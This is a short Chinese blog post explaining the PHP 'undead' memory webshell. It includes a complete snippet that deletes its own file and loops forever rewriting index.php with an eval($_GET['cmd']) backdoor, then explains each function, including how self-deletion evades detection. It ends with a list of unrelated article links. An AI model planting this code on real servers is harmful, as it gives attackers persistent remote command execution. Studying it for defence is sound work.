PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
白远山13 小时前
24小时自助健身房系统开发实战:从需求分析到完整指南
java·开发语言·数据库·数据挖掘·需求分析
PHP实战开发录14 小时前
MySQL连接数为什么会打满
系统架构·php·开发
VXbishe14 小时前
【课程设计】基于SpringBoot的乡村政务服务系统的设计与实现-计算机毕设77011
javascript·vue.js·spring boot·python·php·课程设计·政务
shmily麻瓜小菜鸡15 小时前
TDD(测试驱动开发)详解
开发语言·javascript·typescript·node.js·ecmascript
Htr_15 小时前
Creem 2.0 使用指南:面向 AI 构建时代的资金平台
android·数据库·人工智能·ui·photoshop
三克的油15 小时前
java-学习1
java·开发语言·学习
aixingpan15 小时前
aixingpan.cn API开发文档:api_docs_bichart_natalvssolar_return2接口指南
前端·php
星期八不上发条15 小时前
智能指针是什么?使用场景,循环引用解决办法,面试回答
开发语言·c++·stl
OKkankan15 小时前
Python 基础进阶(三):从函数、类到 asyncio 与 FastAPI 后端开发实战
开发语言·python
曦夜日长16 小时前
Linux系统篇,进程概念(四):内核链表的深度理解、进程优先级的底层理解
linux·运维·服务器·php